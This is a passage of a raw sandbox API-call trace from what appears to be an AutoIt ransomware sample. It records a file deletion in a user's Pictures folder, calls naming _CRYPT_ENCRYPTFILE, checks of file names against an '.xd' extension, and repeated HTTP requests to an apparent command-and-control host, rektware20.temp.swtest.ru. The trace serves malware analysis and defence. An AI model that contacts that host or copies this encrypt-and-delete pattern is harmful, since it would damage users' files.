lpMsg=0x130ef0c) returned 0 [0061.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.003] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.003] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.003] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.003] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.003] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.003] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.004] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.004] CryptReleaseContext (hProv=0x17aa4d8, dwFlags=0x0) returned 1 [0061.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.004] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.004] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.004] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.004] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.004] CloseHandle (hObject=0x2ac) returned 1 [0061.004] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.004] CloseHandle (hObject=0x3bc) returned 1 [0061.008] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.008] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.009] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", lpFilePart=0x0) returned 0x47 [0061.009] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\tpnaerv ydj8f.bmp")) returned 0x20 [0061.009] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0061.009] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\tpnaErv Ydj8f.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\tpnaerv ydj8f.bmp")) returned 1 [0061.012] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.012] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0061.012] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.012] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.012] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.012] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.012] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.013] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.013] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.013] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.013] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.013] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.013] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.013] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0061.013] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.013] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.013] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.014] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.014] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.014] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.015] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.015] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.015] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.015] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.015] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.015] CloseHandle (hObject=0x0) returned 0 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.015] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.016] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jy f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Unqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nqm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qm4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xBl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Bl.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.017] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.018] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.018] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.018] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.018] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.018] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.018] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.018] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.018] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.018] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.018] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.018] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0061.018] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.018] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.018] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.020] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.020] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, 